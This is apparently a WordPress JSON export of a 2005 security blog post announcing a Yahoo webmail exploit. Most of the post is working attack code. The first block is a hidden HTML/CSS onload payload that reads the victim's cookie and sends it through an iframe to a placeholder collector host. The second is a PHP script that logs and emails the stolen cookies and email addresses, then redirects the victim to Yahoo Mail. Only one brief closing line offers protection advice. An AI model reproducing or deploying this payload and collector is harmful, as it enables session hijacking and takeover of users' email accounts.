{"id":331,"date":"2005-12-12T06:10:45","date_gmt":"2005-12-11T23:10:45","guid":{"rendered":""},"modified":"2005-12-12T06:10:45","modified_gmt":"2005-12-11T23:10:45","slug":"yahoo-exploit-no-password-needed","status":"publish","type":"post","link":"https:\/\/deepquest.code511.com\/blog\/2005\/12\/yahoo-exploit-no-password-needed\/","title":{"rendered":"Yahoo exploit: no password needed"},"content":{"rendered":"<p>Once again webmail services are facing security issues. This one aim the same target: connect without user&#8217;s password. This time yahoo is vulnerable.<!--more--><\/p>\n<div style=\"margin:20px; margin-top:5px\">\n<div class=\"smallfont\" style=\"margin-bottom:2px\">Code:<\/div>\n<pre class=\"alt2\" style=\"margin:0px; padding:6px; border:1px inset; width:640px; height:98px; overflow:auto\"><div dir=\"ltr\" style=\"text-align:left;\"> \r\n&lt;DIV id=b style=&quot;VISIBILITY: hidden&quot;&gt;\r\n&lt;STYLE onload=&quot;window.status=''; var x = escape(document.cookie).substr(0,1900); b.innerHTML='&lt;iframe src=http:\/\/your-site-here.com\/script.php?id='+document.title.substring(document.title.indexOf('-')+2)+'&amp;amp;cookie=\\''+x+'\\'  frameborder=0 width=10 height=10&gt;&lt;\/iframe&gt;';&quot; type=text\/css&gt;\r\n&lt;\/STYLE&gt;\r\n&lt;\/DIV&gt;<\/div><\/pre>\n<\/div>\n<p>\nscript.php:<\/p>\n<div style=\"margin:20px; margin-top:5px\">\n<div class=\"smallfont\" style=\"margin-bottom:2px\">Code:<\/div>\n<pre class=\"alt2\" style=\"margin:0px; padding:6px; border:1px inset; width:640px; height:270px; overflow:auto\"><div dir=\"ltr\" style=\"text-align:left;\"> \r\n&lt;?\r\n$file=&quot;cookie.log&quot;;\r\nif (isset($_REQUEST[&quot;id&quot;]) &amp;&amp; isset($_REQUEST[&quot;cookie&quot;])){\r\n $logcookie = $_REQUEST[&quot;cookie&quot;];\r\n $logcookie = rawurldecode($logcookie);\r\n $logemail = $_REQUEST[&quot;id&quot;];\r\n $logemail = rawurldecode($logemail);\r\n if (file_exists($file)) {\r\n   $handle=fopen($file, &quot;r+&quot;);\r\n   $filecontence=fread($handle,filesize(&quot;$file&quot;));\r\n   fclose($handle);\r\n }\r\n $handle=fopen($file, &quot;w&quot;);\r\n fwrite($handle, &quot;$logemail - $logcookie\\n$filecontence\\n &quot;);\r\n \/\/Writing email address and cookie then the rest of the log\r\n fclose($handle);\r\nmail(&quot;email&quot;, &quot;$logemail&quot;, &quot;$logemail\\n$logcookie\\n$filecontence\\n&quot;);\r\n}\r\nheader(&quot;Location: [url=http:\/\/mail.yahoo.com\/]http:\/\/mail.yahoo.com[\/url]&quot;);\r\n?&gt;<\/div><\/pre>\n<\/div>\n<p>\nto protect from it make sure you hit the <b>logout<\/b> link instead of just closing the browser window. also this only works for <b>internet explorer<\/b> so use any other browser.<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Yahoo exploit: no password needed<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-331","post","type-post","status-publish","format-standard","hentry","category-security"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p4bBYZ-5l","_links":{"self":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/331","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/comments?post=331"}],"version-history":[{"count":0,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/331\/revisions"}],"wp:attachment":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/media?parent=331"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/categories?post=331"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/tags?post=331"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}